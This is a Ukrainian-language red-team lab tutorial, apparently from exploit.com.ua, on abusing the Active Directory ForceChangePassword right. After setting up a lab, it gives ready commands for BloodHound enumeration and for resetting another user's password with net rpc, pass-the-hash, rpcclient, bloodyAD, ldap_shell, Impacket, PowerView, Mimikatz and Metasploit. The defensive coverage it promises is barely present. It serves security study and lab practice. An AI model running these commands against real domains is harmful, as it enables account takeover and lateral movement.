_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/abusing_ad-dacl_forcechangepassword // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AD-DACL#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

У цьому дописі ми дослідимо зловживання привілеєм ForceChangePassword в Active Directory через експлуатацію списків керування доступом (DACL). Цей дозвіл є особливо небезпечним для привілейованих облікових записів, оскільки він дозволяє зловмиснику здійснювати горизонтальне переміщення (lateral movement) та отримувати несанкціонований доступ до систем шляхом імітації скомпрометованого акаунта. Саме тому розуміння механізмів цієї вразливості є критично важливим для фахівців із безпеки.

Крім того, ми опишемо налаштування лабораторії, необхідне для симуляції таких атак, а методи експлуатації будуть зіставлені з фреймворком MITRE ATT&CK для уточнення відповідних технік і тактик. Також будуть розглянуті механізми виявлення підозрілої активності, пов’язаної з атаками ForcePasswordChange. Разом із цим ми надамо дієві рекомендації щодо мінімізації цих вразливостей. У результаті цей огляд озброїть фахівців із безпеки критично важливими знаннями для розпізнавання та захисту від цих поширених загроз.

Зміст

  • Право ForceChangePassword
  • Передумови
  • Налаштування лабораторії – Користувач має права ForceChangePassword
  • Експлуатація – Користувач має права ForceChangePassword
  • Bloodhound – Пошук слабких дозволів
  • Метод експлуатації – Зміна пароля (T1110.001)
  • Net RPC – Samba
  • pth-toolkit
  • Net RPC – Rpcclient
  • Net RPC – BloodAD
  • Інструмент ldap_shell
  • impacket-changepasswd
  • Windows PowerShell – Powerview
  • Mimikatz
  • Metasploit

Право ForceChangePassword

Цей дозвіл надає право змінювати пароль облікового запису користувача, не знаючи його поточного пароля. Як наслідок, зловмисники можуть використовувати цей доступ для виконання несанкціонованих дій.

Крім того, таке зловживання можливе при контролі над об’єктом, який має права GenericAll, AllExtendedRights або User-Force-Change-Password стосовно цільового користувача.

Передумови

  • Windows Server 2019 як контролер домену Active Directory.
  • Kali Linux.
  • Інструменти: Bloodhound, Net RPC, Powerview, BloodyAD.
  • Windows 10/11 — у якості клієнта.

Налаштування лабораторії – Користувач має права ForceChangePassword

Для початку, у цьому лабораторному налаштуванні ми створимо двох користувачів — Raj та Aarti, і призначимо користувачеві Raj права «Reset Password» (скидання пароля) для користувача Aarti. Щоб уточнити, ось як буде налаштовано лабораторне середовище:

Створення середовища AD:

Для симуляції середовища Active Directory вам знадобиться Windows Server як контролер домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для перерахування та експлуатації. Згодом ви будете готові протестувати зловживання ForceChangePassword в Active Directory у контрольованих умовах.

Контролер домену:
  • По-перше, встановіть Windows Server (рекомендується 2016 або 2019).
  • Потім підвищте його роль до контролера домену, додавши роль Active Directory Domain Services.
  • Нарешті, налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
  • Створіть два облікові записи користувачів AD з іменами Raj та Aarti.
net user raj Password@1 /add /domain
net user aarti Password@1 /add /domain

Призначення привілею «ForceChangePassword» користувачу Raj стосовно користувача Aarti:

Після налаштування середовища AD необхідно призначити права «ForceChangePassword» користувачу Raj для об’єкта Aarti.

Кроки:

  • По-перше, відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
  • Увімкніть режим розширених функцій, натиснувши View (Вигляд) > Advanced Features (Додаткові компоненти).
  • Знайдіть користувача Aarti у контейнері Users.
  • Натисніть правою кнопкою миші на користувача Aarti та виберіть Properties (Властивості).

ForceChangePassword Active Directory Abuse

  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

  • У полі «Enter the object name to select» введіть Raj і натисніть Check Names (Перевірити імена).

ForceChangePassword Active Directory Abuse

  • Далі у розділі Permissions (Дозволи) знайдіть і позначте пункт Reset Password (Скидання пароля).

Застосуйте налаштування.

На даному етапі Raj має права Reset Password для користувача Aarti. Це означає, що Raj може змінити пароль облікового запису Aarti, не знаючи його поточного пароля.

Альтернативний метод налаштування лабораторії за допомогою Impacket

Крім того, налаштування лабораторії можна виконати за допомогою скрипта dacledit із пакету impacket.

Цей метод дозволяє адміністраторам (або атакуючим, що вже мають високі привілеї) змінювати списки керування доступом безпосередньо через командний рядок, що значно швидше за використання графічного інтерфейсу Windows.

impacket-dacledit -action 'write' -rights 'ResetPassword' -principal 'raj' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'administrator':'Ignite@987' -dc-ip 192.168.1.48

Експлуатація

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб підтвердити, що Raj має права ForceChangePassword щодо користувача Aarti.

bloodhound-python -u raj -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

ForceChangePassword Active Directory Abuse

На основі графічного представлення Bloodhound тестувальник ідентифікує вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

Таким чином, інструмент показав, що користувач Raj має привілей ForceChangePassword для користувача Aarti.

ForceChangePassword Active Directory Abuse

Метод експлуатації – Зміна пароля (T1110.001)

Тестувальник може зловживати цим дозволом, змінивши пароль користувача Aarti, не знаючи його поточного пароля.

Net RPC – Samba

Спочатку атакуючі можуть використовувати net — інструмент для адміністрування клієнтів Samba та CIFS/SMB у UNIX-подібних системах для зміни паролів користувачів.

net rpc password aarti 'Password@987' -U ignite.local/raj%'Password@1' -S 192.168.1.48

pth-toolkit

Крім того, зловмисники можуть використовувати pth-toolkit для виконання команд Net RPC, використовуючи техніку Pass-the-Hash (PtH).

pth-net rpc password "aarti" -U ignite.local/"raj"%"64FBAE31CC352FC26AF97CBDEF151E03:"BD0F21ED526A885B378895679A412387" -S 192.168.1.48

ForceChangePassword Active Directory Abuse

Net RPC – Rpcclient

Альтернативно, атакуючі можуть використовувати rpcclient у UNIX-подібних системах, якщо пакет samba-common-bin відсутній.

rpcclient -U ignite.local/raj 192.168.1.48
setuserinfo aarti 23 Password@987

Net RPC – Bloody AD

Крім того, зловмисники можуть змінити пароль за допомогою bloodyAD.

bloodyAD --host "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" set password "aarti" "Password@987"

ldap_shell tool

В іншому випадку атакуючі можуть скористатися ldap_shell для зміни паролів через протокол LDAP.

ldap_shell ignite.local/raj:Password@1 -dc-ip 192.168.1.48
change_password aarti Password@987

ForceChangePassword Active Directory Abuse

impacket-changepasswd

Нарешті, зловмисники можуть використати скрипт smbpasswd (або changepasswd.py) з пакету Impacket для зміни пароля користувача через протокол SMB, не знаючи поточного пароля.

impacket-changepasswd ignite.local/aarti@192.168.1.48 -newpass Password@1234 -altuser ignite.local/raj -altpass Password@1 -reset

Windows PowerShell – Powerview

Атакуючий може змінити пароль користувача за допомогою модуля PowerView. Це досягається за допомогою командлета Set-DomainUserPassword.

powershell -ep bypass
Import-Module .PowerView.ps1
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

Mimikatz

Mimikatz може безпосередньо встановити новий NTLM-хеш для облікового запису користувача, не потребуючи поточного пароля.

lsadump::setntlm /server:ignite.local /user:aarti /password:Password@9876

ForceChangePassword Active Directory Abuse

Metasploit

Цей модуль дозволяє користувачам Active Directory змінювати власні паролі або скидати паролі для облікових записів, над якими вони мають відповідні привілеї.

use auxiliary/admin/ldap/change_password
set rhosts 192.168.1.48
set domain ignite.local
set username raj
set password Password@1
set target_user aarti
set new_password Password@7654
run

Висновок: Розуміння та мінімізація ризиків зловживання ForceChangePassword в Active Directory є важливими для захисту привілейованих акаунтів від несанкціонованого доступу та горизонтального переміщення.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...